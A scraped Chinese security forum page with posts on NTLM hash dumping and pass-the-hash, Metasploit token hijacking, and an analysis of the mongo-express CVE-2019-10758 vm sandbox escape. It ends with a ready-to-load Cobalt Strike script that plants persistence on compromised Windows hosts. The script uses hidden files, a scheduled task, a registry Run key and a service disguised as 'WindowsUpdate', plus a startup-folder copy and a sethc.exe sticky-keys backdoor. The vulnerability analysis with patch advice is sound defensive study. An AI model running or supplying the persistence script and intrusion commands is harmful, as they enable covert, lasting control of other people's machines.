Windows机器在登录时,密码以Hash的形式保存在SAM文件中,域控主机保存在NTDS.dit文件中,其验证机制是一种基于挑战(Chalenge)/响应(Response)认证机制的网络认证协议,称为NTLM协议
111.jpg

 
NTLM协议分为LM(Lan Manager)协议和NT(NT Lan Manager)协议,NT Lan Manager是对Lan Manager的升级,整体流程和Lan Manager机制没有太大的区别,但是将其中的响应计算方法换为更安全的算法。尝试用CobaltStrike抓取内存中的Hash:
222.jpg
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
上面抓取的凭据以“:”作为分隔符,依次分别为 (用户名 : Uid : LM Hah : NT Hash)
客户端接收到服务器返回的8字节响应后,使用用户的NTLM Hash加密挑战,将生成的密文回复给服务器,服务器也存储了用户的NTLM Hash,同样使用NTLM Hash加密8字节的挑战,若其与接收到的客户端24字节响应相同则身份认证成功

因此,我们在成功抓取到用户的NTLM Hash后,一方面可以对其进行解密
333.jpg

若解密不成功,则可以直接进行PTH(Pass The Hash)攻击
444.jpg

 
LM hash与NT hash的不同点
为了解决LM加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议
引用360灵腾实验室的一张图:
555.jpg

也就是说从Windows Vista 和 Windows Server 2008开始,默认情况下只存储NT Hash,LM Hash将不再存在
 
那为何LM Hash不存在,但我们仍能抓到它的Hash呢?让我们来观察一下LM的加密方式
LM Hash的计算算法如下:
  1. 将用户密码明文转换为大写,并转换为OEM编码(ASCII等于其本身)
  2. 密码补零或截断到14位,和分作前后2个部分,各7个字节(密码大于14在win xp上交替不存储LM Hash,但在NTLM认证时LM Hash是会按口令截断到14位计算)
  3. 对7字节字符串的每7个比特后面添加1比特0,变成64比特的DES密钥
  4. 将上面的2个密钥,使用DES算法,分别加密固定字符串KGS!@#$%,得到2个8字节的密文
  5. 2个8字节的密文连成1个16字节的密文,称为LM Hash

666.jpg

 
LM Hash问题:
  1. 密码不区分大小写
  2. 密码长度最大为14个字节,另外如果密码长度不超过7个字节,则LM Hash的后8个字节是固定值
  3. DES算法强度不够

 
以LM Hash的加密算法计算0即得AAD3B435B51404EE
若抓得LM Hash为AAD3B435B51404EEAAD3B435B51404EE​,则前后两部分都为0,则意味着目标以空来进行存储LM Hash
因此,在我们下次抓NTLM Hash时,若LM Hash不为AAD3B435B51404EEAAD3B435B51404EE,那很可能该目标以LM Hash来进行存储密码,且操作系统版本较低,接下来再观察后半部分是否为AAD3B435B51404EE,则可判断目标用户的密码长度是否大于8位
 
NT hash的生成方法:
  1. 将明文口令转换成十六进制的格式
  2. 把十六进制转换成Unicode格式,每个字节之后添加0x00
  3. 再对Unicode字符串作MD4加密,生成32位的十六进制数字串

 
后记
1、内网渗透中最重要的事就是凭证信息的收集并传递,以达到横向渗透的目的,因此,在拿到高权限shell后,及时抓取高频率NTLM Hash并进行传递是很重要的一步,但在有的内网环境中,所以Windows机器密码皆由一套算法随机定期生成,这时我们就要深入利用NTLM协议而不是简单的PTH来进行渗透
2、记得在以前刚学抓Hash时,一时之间不知道两个密码到底用哪个来进行解密,用第一个来进行解密显示一个“空”,用第二个来进行解密显示“暂无查询”,当时还怀疑人生了一会并尝试用空密码来进行远程桌面登录,所以说,原理的学习应该在实践之前
 

令牌劫持

内网渗透gu 发表了文章 • 0 个评论 • 197 次浏览 • 2020-03-15 20:40 • 来自相关话题

0x00什么是令牌
令牌是指系统的临时秘钥,它允许在不提供密码或其他凭证的前提下,访问网络和系统资源。
0x01Windows下的令牌类型
授权令牌:
用于交互会话登录(例如:本地用户直接登录、远程桌面登录)
模拟令牌:
用于非交互登录
0x02利用场景
控制了内网某台主机,想要读取浏览器的缓存密码。读取浏览器的密码时往往是在当前用户下,而远控软件一般是运行在system权限下,这是就要想办法获取当前用户的令牌,在以该用户的身份获取浏览器密码。控制了内网某台主机,上面有两个用户:Administrator用户和sanr用户。如果想要知道sanr用户登录时有没有映射本地磁盘,这就可以窃取令牌假冒成sanr用户来执行操作。控制了内网某台域管理员登录过的主机(令牌需要处在有效期内)。这个时候可以窃取域管理员的令牌。以管理员的身份来执行添加域管理员账户等操作。
0x03实现过程
(1)首先使用msf中的PsExec工具指定Administrator账户远程登录目标计算机
选定脚本




设置全部完成后的结果图,需要设置的地方已用红框标出




运行脚本




需要注意的是,在攻击机上脚本运行的同时,靶机上运行后门脚本
(2)进行令牌劫持,具体操作
执行 use incognito 命令,加载令牌劫持模块执行 list_tokens -u 命令,列出可用的令牌选择目标用户的令牌,用其身份执行命令 查看全部
0x00什么是令牌
令牌是指系统的临时秘钥,它允许在不提供密码或其他凭证的前提下,访问网络和系统资源。
0x01Windows下的令牌类型
授权令牌:
用于交互会话登录(例如:本地用户直接登录、远程桌面登录)
模拟令牌:
用于非交互登录
0x02利用场景
  1. 控制了内网某台主机,想要读取浏览器的缓存密码。读取浏览器的密码时往往是在当前用户下,而远控软件一般是运行在system权限下,这是就要想办法获取当前用户的令牌,在以该用户的身份获取浏览器密码。
  2. 控制了内网某台主机,上面有两个用户:Administrator用户和sanr用户。如果想要知道sanr用户登录时有没有映射本地磁盘,这就可以窃取令牌假冒成sanr用户来执行操作。
  3. 控制了内网某台域管理员登录过的主机(令牌需要处在有效期内)。这个时候可以窃取域管理员的令牌。以管理员的身份来执行添加域管理员账户等操作。

0x03实现过程
(1)首先使用msf中的PsExec工具指定Administrator账户远程登录目标计算机
选定脚本
clipboard.png

设置全部完成后的结果图,需要设置的地方已用红框标出
clipboard.png

运行脚本
clipboard.png

需要注意的是,在攻击机上脚本运行的同时,靶机上运行后门脚本
(2)进行令牌劫持,具体操作
  1. 执行 use incognito 命令,加载令牌劫持模块
  2. 执行 list_tokens -u 命令,列出可用的令牌
  3. 选择目标用户的令牌,用其身份执行命令
    clipboard.png
    clipboard.png

mongo-express远程代码执行漏洞分析--转

Web安全渗透llpkk 发表了文章 • 0 个评论 • 284 次浏览 • 2020-03-15 19:16 • 来自相关话题

    近日,奇安信CERT监测到mongo-express远程代码执行漏洞,漏洞编号为CVE-2019-10758。凭借着对Node.js漏洞天生好奇(也是因为我好久没有写类似文章了),便深入跟进了这个漏洞。漏洞原理虽然简单但还是比较有意思的。那么闲话少说,慢慢跟我来看吧。
 
漏洞简介
先介绍下mongo-express是个什么工具,简单的说,mongo-express是一个MongoDB的客户端。和传统我们经常使用的数据库客户端不同的是,mongo-express是一套基于Web的客户端。它使用Node.js+express(一个Node.js服务器框架)开发,故名mongo-express。很自然的,这个客户端能对建立连接的MongoDB数据库执行任意操作。

此漏洞是因为代码中使用的vm去执行不安全的用户可控的代码导致的远程代码执行。至此我把这个漏洞的概况先抛出来,我们继续看。

环境搭建
阅读官方GitHub的安全公告,我们发现漏洞影响0.54.0以下的所有版本,打开DockerHub搜索mongo-express,在官方镜像页面中的tag中可随意选择0.54.0以下的版本进行环境搭建。我们以0.49为例。由于此漏洞环境还需要MongoDB数据库,我们可以通过执行以下docker命令进行快速搭建:

搭建MongoDB数据库docker run --name mymongo -d mongo:3.2搭建包含漏洞的mongo-express并且连接到上面的MongoDB数据库:docker run -it --rm -p 8081:8081 --link mymongo:mongo mongo-express:0.49当看到以下输出即说明mongo-express成功运行并成功连接MongoDB数据库。








根据上面的输出我们可以发现,mongo-express使用了Basic认证,并且默认账号密码为admin:pass,所以此漏洞虽然是高权限才可以利用,但因为默认高权限账号密码的存在,如果不修改默认账号密码,极易受到攻击。

环境搭建完毕后我们可以访问http://localhost:8081/去看看mongo-express长什么样子了。








漏洞分析
漏洞问题出在lib/bson.js中的toBSON()函数中。熟悉MongoDB的同学应该知道,MongoDB存储和查询数据的格式是BSON,它长得像JSON但并不是JSON,数据类型和JSON是有所不同的。众所周知,JSON的数据类型包括string、number、object、array、boolean和null,而BSON的基础数据类型包括byte、int32、int64、uint64、double、decimal128。其中byte类型又可以根据不同的定义派生出更多的类型。若想详细了解BSON相关知识可查看BSON Spec,或者参考gyyyy的文章:《浅析SQL和NoSQL注入(下)》中的“关于BSON”部分。这篇文章就不再赘述了。我们只需要知道BSON和JSON在数据类型上有很大区别就好。

mongo-express中的所有和BSON相关的操作,如新建一个文档(类似其他数据库的插入操作)都需要通过toBSON()函数。如我使用mongo-express新建如下文档:
 






通过Chrome调试工具,我们可以发现,在我新建一个文档的时候,前端把数据处理成表单的形式提交给后端,如下图:








在lib/bson.js中的toBSON()函数中断点,命中后即可看到如下字符串传入了后端:








我们先来分析一下这段代码,可以发现在toBSON()函数上面的getSandbox()定义了MongoDB相关的数据类型,然后在下面的toBSON()函数中对传入的字符串进行了转换,最终变成BSON类型的文档。

代码作者在注释中也提到了,因为JSON.parse不支持BSON类型,因此写了toBSON()函数去转换传入的字符串为BSON类型。我们可以显而易见的看到eval()函数的调用。eval is evil,eval()函数在JavaScript中本就是一个危险函数的存在,在前端中eval()可以造成XSS漏洞,而随着JavaScript被用到了后端,如果eval()中的内容可控,就可以直接造成代码执行了。那么我们是不是就可以直接构造一个类似其他Node.js代码执行漏洞的代码执行PoC即可了?没那么简单。

细心的同学想必已经发现了,toBSON()部分的代码使用了vm模块执行,它是Node.js默认就提供的一个内建模块,vm模块提供了一系列API用于在V8虚拟机环境中编译和运行代码。也就是说通过vm执行的JavaScript代码会运行在一个沙盒中。代码作者其实并没有忽略安全问题。那么在vm中执行的代码就真的安全了吗?我们来简化源码做一个实验:function evalDirect(string) {
eval(string);
}

function evalUseVm(string) {
const vm = require('vm');
const sandbox = {};
vm.runInNewContext('eval((' + string + '));', sandbox);
}

evalDirect('require("child_process").execSync("open /System/Applications/Calculator.app")');
evalUseVm('require("child_process").execSync("open /System/Applications/Calculator.app")');
运行这段代码,在调用evalDirect()函数时弹出了计算器,而在执行evalUseVm()函数时抛出如下错误:








报错中说,require未定义。那么只要想办法找到require就能继续构造PoC了。在JavaScript中,创建一个对象,即通过这个对象的原型对象的构造函数实例化这个对象,因此,原型对象是新对象的“模版”。那么假设我们使用的vm的沙箱就是一个当前进程上下文创建的对象,那么我们能不能通过链式调用vm的沙箱的构造函数来查找到当前上下文并且拿到require呢?vm在GitHub中的一个issue:Sandbox can be broken已经给出了答案,这个问题貌似永远也不会得到修复了。

通过this.constructor.constructor("return process")即可拿到当前上下文,我们可以看到其中包含了Node.js的全部全局变量:








这样我们就可以轻松拿到require构造PoC了。

补丁分析
从GitHub补丁diff上看,修复方案是删掉了全部使用vm的代码,而将BSON的处理转为通过mongodb-query-parser和mongodb-extended-json这两个库配合实现:








修复建议
建议升级到mongo-express 0.54.0及以上版本,并且修改默认密码。mongo-express虽然是一个Web项目,但只建议内网使用,或使用其他客户端代替。

总结
通过近期对Node.js漏洞代码的研究,隐约发现Node.js漏洞的一些规律,如eval()出现在代码中,require("child_process")出现在代码中,只要他们可以被控制 ,甚至如CVE-2019-7609的kibana RCE漏洞仅仅是可以控制环境变量,都可能造成较严重的后果。今后再做Node.js相关项目的代码审计、漏洞分析或漏洞挖掘时,我们应充分利用JavaScript的语言特性,或许能总结出更多规律,让思路更清晰。

参考
http://bsonspec.org/spec.html
https://github.com/gf3/sandbox/issues/50
https://juejin.im/post/5afe3c91518825673954f718
https://github.com/mongo-express/mongo-express/pull/522
https://odino.org/eval-no-more-understanding-vm-vm2-nodejs/
https://github.com/gyyyy/footprint/blob/master/articles/2018/sql-vs-nosql-injection-02.md
https://github.com/mongo-express/mongo-express/security/advisories/GHSA-h47j-hc6x-h3qq
 
原文:https://x3fwy.bitcron.com/post/mongo-express-rce-explained
  查看全部
    近日,奇安信CERT监测到mongo-express远程代码执行漏洞,漏洞编号为CVE-2019-10758。凭借着对Node.js漏洞天生好奇(也是因为我好久没有写类似文章了),便深入跟进了这个漏洞。漏洞原理虽然简单但还是比较有意思的。那么闲话少说,慢慢跟我来看吧。
 
漏洞简介
先介绍下mongo-express是个什么工具,简单的说,mongo-express是一个MongoDB的客户端。和传统我们经常使用的数据库客户端不同的是,mongo-express是一套基于Web的客户端。它使用Node.js+express(一个Node.js服务器框架)开发,故名mongo-express。很自然的,这个客户端能对建立连接的MongoDB数据库执行任意操作。

此漏洞是因为代码中使用的vm去执行不安全的用户可控的代码导致的远程代码执行。至此我把这个漏洞的概况先抛出来,我们继续看。

环境搭建
阅读官方GitHub的安全公告,我们发现漏洞影响0.54.0以下的所有版本,打开DockerHub搜索mongo-express,在官方镜像页面中的tag中可随意选择0.54.0以下的版本进行环境搭建。我们以0.49为例。由于此漏洞环境还需要MongoDB数据库,我们可以通过执行以下docker命令进行快速搭建:

搭建MongoDB数据库
docker run --name mymongo -d mongo:3.2
搭建包含漏洞的mongo-express并且连接到上面的MongoDB数据库:
docker run -it --rm -p 8081:8081 --link mymongo:mongo mongo-express:0.49
当看到以下输出即说明mongo-express成功运行并成功连接MongoDB数据库。

1.png




根据上面的输出我们可以发现,mongo-express使用了Basic认证,并且默认账号密码为admin:pass,所以此漏洞虽然是高权限才可以利用,但因为默认高权限账号密码的存在,如果不修改默认账号密码,极易受到攻击。

环境搭建完毕后我们可以访问http://localhost:8081/去看看mongo-express长什么样子了。

2.png




漏洞分析
漏洞问题出在lib/bson.js中的toBSON()函数中。熟悉MongoDB的同学应该知道,MongoDB存储和查询数据的格式是BSON,它长得像JSON但并不是JSON,数据类型和JSON是有所不同的。众所周知,JSON的数据类型包括string、number、object、array、boolean和null,而BSON的基础数据类型包括byte、int32、int64、uint64、double、decimal128。其中byte类型又可以根据不同的定义派生出更多的类型。若想详细了解BSON相关知识可查看BSON Spec,或者参考gyyyy的文章:《浅析SQL和NoSQL注入(下)》中的“关于BSON”部分。这篇文章就不再赘述了。我们只需要知道BSON和JSON在数据类型上有很大区别就好。

mongo-express中的所有和BSON相关的操作,如新建一个文档(类似其他数据库的插入操作)都需要通过toBSON()函数。如我使用mongo-express新建如下文档:
 
3.png



通过Chrome调试工具,我们可以发现,在我新建一个文档的时候,前端把数据处理成表单的形式提交给后端,如下图:

4.png




在lib/bson.js中的toBSON()函数中断点,命中后即可看到如下字符串传入了后端:

5.png




我们先来分析一下这段代码,可以发现在toBSON()函数上面的getSandbox()定义了MongoDB相关的数据类型,然后在下面的toBSON()函数中对传入的字符串进行了转换,最终变成BSON类型的文档。

代码作者在注释中也提到了,因为JSON.parse不支持BSON类型,因此写了toBSON()函数去转换传入的字符串为BSON类型。我们可以显而易见的看到eval()函数的调用。eval is evil,eval()函数在JavaScript中本就是一个危险函数的存在,在前端中eval()可以造成XSS漏洞,而随着JavaScript被用到了后端,如果eval()中的内容可控,就可以直接造成代码执行了。那么我们是不是就可以直接构造一个类似其他Node.js代码执行漏洞的代码执行PoC即可了?没那么简单。

细心的同学想必已经发现了,toBSON()部分的代码使用了vm模块执行,它是Node.js默认就提供的一个内建模块,vm模块提供了一系列API用于在V8虚拟机环境中编译和运行代码。也就是说通过vm执行的JavaScript代码会运行在一个沙盒中。代码作者其实并没有忽略安全问题。那么在vm中执行的代码就真的安全了吗?我们来简化源码做一个实验:
function evalDirect(string) {
eval(string);
}

function evalUseVm(string) {
const vm = require('vm');
const sandbox = {};
vm.runInNewContext('eval((' + string + '));', sandbox);
}

evalDirect('require("child_process").execSync("open /System/Applications/Calculator.app")');
evalUseVm('require("child_process").execSync("open /System/Applications/Calculator.app")');

运行这段代码,在调用evalDirect()函数时弹出了计算器,而在执行evalUseVm()函数时抛出如下错误:

6.png




报错中说,require未定义。那么只要想办法找到require就能继续构造PoC了。在JavaScript中,创建一个对象,即通过这个对象的原型对象的构造函数实例化这个对象,因此,原型对象是新对象的“模版”。那么假设我们使用的vm的沙箱就是一个当前进程上下文创建的对象,那么我们能不能通过链式调用vm的沙箱的构造函数来查找到当前上下文并且拿到require呢?vm在GitHub中的一个issue:Sandbox can be broken已经给出了答案,这个问题貌似永远也不会得到修复了。

通过this.constructor.constructor("return process")即可拿到当前上下文,我们可以看到其中包含了Node.js的全部全局变量:


7.png




这样我们就可以轻松拿到require构造PoC了。

补丁分析
从GitHub补丁diff上看,修复方案是删掉了全部使用vm的代码,而将BSON的处理转为通过mongodb-query-parser和mongodb-extended-json这两个库配合实现:

88.png




修复建议
建议升级到mongo-express 0.54.0及以上版本,并且修改默认密码。mongo-express虽然是一个Web项目,但只建议内网使用,或使用其他客户端代替。

总结
通过近期对Node.js漏洞代码的研究,隐约发现Node.js漏洞的一些规律,如eval()出现在代码中,require("child_process")出现在代码中,只要他们可以被控制 ,甚至如CVE-2019-7609的kibana RCE漏洞仅仅是可以控制环境变量,都可能造成较严重的后果。今后再做Node.js相关项目的代码审计、漏洞分析或漏洞挖掘时,我们应充分利用JavaScript的语言特性,或许能总结出更多规律,让思路更清晰。

参考
http://bsonspec.org/spec.html
https://github.com/gf3/sandbox/issues/50
https://juejin.im/post/5afe3c91518825673954f718
https://github.com/mongo-express/mongo-express/pull/522
https://odino.org/eval-no-more-understanding-vm-vm2-nodejs/
https://github.com/gyyyy/footprint/blob/master/articles/2018/sql-vs-nosql-injection-02.md
https://github.com/mongo-express/mongo-express/security/advisories/GHSA-h47j-hc6x-h3qq
 
原文:https://x3fwy.bitcron.com/post/mongo-express-rce-explained
 

CobaltStrike权限维持及其自动化

渗透测试fireant 发表了文章 • 0 个评论 • 363 次浏览 • 2020-03-13 21:01 • 来自相关话题

0x00隐藏文件
windows首选attrib,使用一下命令可直接添加隐藏属性。attrib C:\test.exe +s +h





 
+s是设置系统属性,+h设置隐藏属性,如果需要取消将+换成-即可。

0x01定时任务
schtasks允许管理员创建,删除,查询,更改,运行和中止本地或远程系统上的计划任务。替代AT.exe,使用一下命令可以快捷的创建一个定时任务。schtasks /create /tn WindowsUpdate /tr “C:\test.txt” /sc minute /mo 1





/create是创建新任务,/TN是TaskName的简写,也就是新建的任务的名字,在系统必须唯一,/TR是TaskRun的简写,即为需要运行的程序的路径和文件名。/SC是schedule的简写,指定执行的频率的时间单位,/MO是modifier的缩写,可以理解为执行的频率的时间数值。如果任务已经在执行并且schtasks不会重复拉起任务。所说的at,schtasks的优势在于可以周期运行,重复检索任务是否处于运行状态,可使用下面的命令删除:schtasks /delete /tn WindowsUpdate

0x02开机
Windows系统的启动项位于注册表的:\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run




新建一个字符串值并修改数值数据为程序路径即可。reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d "C:\test.exe" /f
0x03移后门
挺老的东西了,需要系统权限才能实现,如果平通用户的权限无法修改,其他文件被缩短时远程连上去触发执行一下也不是坏事。






0x04Windows服务
在windows上系统-服务可用SC命令进行增删改。
命令行:sc create "WindowsUpdate" binpath= "cmd /c start C:\test.exe";
sc config "WindowsUpdate" start= auto
net start WindowsUpdate



需要注意参数值与等号之间要有间隔。使用Windows服务进行自启有个很有意思的地方,可以通过system权限启动,也是“提权”的一种不错的方式。另外还有个小坑,sc在powershell笔者cmd刚开始写插件是全程用bpowershell函数执行命令,在这儿卡了某会儿,相当难受。在中传参有问题,执行不成功,必须在里执行。

0x05自启目录
本质上来说和注册表修改是同一个,一个是复制文件,一个是修改注册表。接受方式不同,随便一起写了。copy "C:\test.exe" "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe" /y
attrib "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe" +s +h



如果用户不是Administrator,目录需要修改

0x06自动化
这里使用agscriptjiao脚本
使用Cobalt Strike 客户端Script Manager功能加载脚本
Github:
https://github.com/TheKingOfDuck/myScripts/blob/master/PrivilegeHelper.cna 
popup beacon_bottom {
menu "Privilege maintenance" {

item "Path setting" {
local('$bid');
foreach $bid ($1){
prompt_text("filePath", $filePath, {
$filePath = $1;
return $filePath;
});
}
}


item "Hidden file" {
local('$bid');
foreach $bid ($1){
bshell($1, "attrib \"$filePath\" +s +h");
}
}


item "Timed task" {
local('$bid');
foreach $bid ($1){
bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1");
}
}

item "Registry"{
local('$bid');
foreach $bid ($1){
bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f");
}
}

item "SC service"{
local('$bid');
foreach $bid ($1){
bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate");

}
}

item "shift start"{
local('$bid');
foreach $bid ($1){
bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&&copy \"$filePath\" C:\\windows\\system32\\sethc.exe /y");
}
}

item "Self-starting directory"{
local('$bid');
foreach $bid ($1){
bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y");
bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h");
}
}

item "Lazy Raiders" {
local('$bid');
foreach $bid ($1){
bshell($1, "attrib \"$filePath\" +s +h");
bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1");
bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f");
bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate");
bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&&copy \"$filePath\" C:\\windows\\system32\\sethc.exe /y");
bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y");
bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h");

}

}


}
}




 





先设置好远控所在的目录,然后执行懒人攻略,重启正常情况下立即弹回四个会话。(一个system,三个admin)
  查看全部
0x00隐藏文件
windows首选attrib,使用一下命令可直接添加隐藏属性。
attrib C:\test.exe +s +h


TIM截图20200313203207.png

 
+s是设置系统属性,+h设置隐藏属性,如果需要取消将+换成-即可。

0x01定时任务
schtasks允许管理员创建,删除,查询,更改,运行和中止本地或远程系统上的计划任务。替代AT.exe,使用一下命令可以快捷的创建一个定时任务。
schtasks /create /tn WindowsUpdate /tr “C:\test.txt” /sc minute /mo 1

TIM截图20200313203220.png


/create是创建新任务,/TN是TaskName的简写,也就是新建的任务的名字,在系统必须唯一,/TR是TaskRun的简写,即为需要运行的程序的路径和文件名。/SC是schedule的简写,指定执行的频率的时间单位,/MO是modifier的缩写,可以理解为执行的频率的时间数值。如果任务已经在执行并且schtasks不会重复拉起任务。所说的at,schtasks的优势在于可以周期运行,重复检索任务是否处于运行状态,可使用下面的命令删除:
schtasks /delete /tn WindowsUpdate


0x02开机
Windows系统的启动项位于注册表的:
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
TIM截图20200313203232.png


新建一个字符串值并修改数值数据为程序路径即可。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d "C:\test.exe" /f

0x03移后门
挺老的东西了,需要系统权限才能实现,如果平通用户的权限无法修改,其他文件被缩短时远程连上去触发执行一下也不是坏事。
TIM截图20200313203245.png



0x04Windows服务
在windows上系统-服务可用SC命令进行增删改。
命令行:
sc create "WindowsUpdate" binpath= "cmd /c start C:\test.exe";
sc config "WindowsUpdate" start= auto
net start WindowsUpdate
TIM截图20200313203256.png

需要注意参数值与等号之间要有间隔。使用Windows服务进行自启有个很有意思的地方,可以通过system权限启动,也是“提权”的一种不错的方式。另外还有个小坑,sc在powershell笔者cmd刚开始写插件是全程用bpowershell函数执行命令,在这儿卡了某会儿,相当难受。在中传参有问题,执行不成功,必须在里执行。

0x05自启目录
本质上来说和注册表修改是同一个,一个是复制文件,一个是修改注册表。接受方式不同,随便一起写了。
copy "C:\test.exe" "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe" /y
attrib "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe" +s +h
TIM截图20200313203305.png

如果用户不是Administrator,目录需要修改

0x06自动化
这里使用agscriptjiao脚本
使用Cobalt Strike 客户端Script Manager功能加载脚本
Github:
https://github.com/TheKingOfDuck/myScripts/blob/master/PrivilegeHelper.cna 
popup beacon_bottom {
menu "Privilege maintenance" {

item "Path setting" {
local('$bid');
foreach $bid ($1){
prompt_text("filePath", $filePath, {
$filePath = $1;
return $filePath;
});
}
}


item "Hidden file" {
local('$bid');
foreach $bid ($1){
bshell($1, "attrib \"$filePath\" +s +h");
}
}


item "Timed task" {
local('$bid');
foreach $bid ($1){
bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1");
}
}

item "Registry"{
local('$bid');
foreach $bid ($1){
bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f");
}
}

item "SC service"{
local('$bid');
foreach $bid ($1){
bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate");

}
}

item "shift start"{
local('$bid');
foreach $bid ($1){
bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&&copy \"$filePath\" C:\\windows\\system32\\sethc.exe /y");
}
}

item "Self-starting directory"{
local('$bid');
foreach $bid ($1){
bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y");
bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h");
}
}

item "Lazy Raiders" {
local('$bid');
foreach $bid ($1){
bshell($1, "attrib \"$filePath\" +s +h");
bshell($1, "schtasks /create /tn WindowsUpdate /tr \"$filePath\" /sc minute /mo 1");
bshell($1, "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v WindowsUpdate /t REG_SZ /d \"$filePath\" /f");
bshell($1, "sc create \"WindowsUpdate\" binpath= \"cmd /c start \"$filePath\"\"&&sc config \"WindowsUpdate\" start= auto&&net start WindowsUpdate");
bshell($1, "takeown /f C:\\windows\\system32\\sethc.* /a /r /d y&&cacls C:\\windows\\system32\\sethc.exe /T /E /G system:F&&copy \"$filePath\" C:\\windows\\system32\\sethc.exe /y");
bshell($1, "copy \"$filePath\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" /y");
bshell($1, "attrib \"C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.exe\" +s +h");

}

}


}
}

TIM截图20200313210546.png

 
TIM截图20200313211212.png


先设置好远控所在的目录,然后执行懒人攻略,重启正常情况下立即弹回四个会话。(一个system,三个admin)
 

赛克艾威漏洞预警(3月7-3月13号)

漏洞预警ypk 发表了文章 • 0 个评论 • 146 次浏览 • 2020-03-13 18:57 • 来自相关话题

赛克艾威漏洞预警(2月29-3月6号)

漏洞预警ypk 发表了文章 • 0 个评论 • 141 次浏览 • 2020-03-06 14:43 • 来自相关话题